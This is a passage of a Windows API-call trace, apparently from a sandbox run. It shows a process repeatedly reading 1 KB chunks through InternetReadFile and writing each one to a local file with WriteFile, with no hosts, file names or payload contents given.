[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.562] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.563] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.563] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.564] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.565] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.566] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.567] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.567] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.567] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.567] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.578] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.579] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
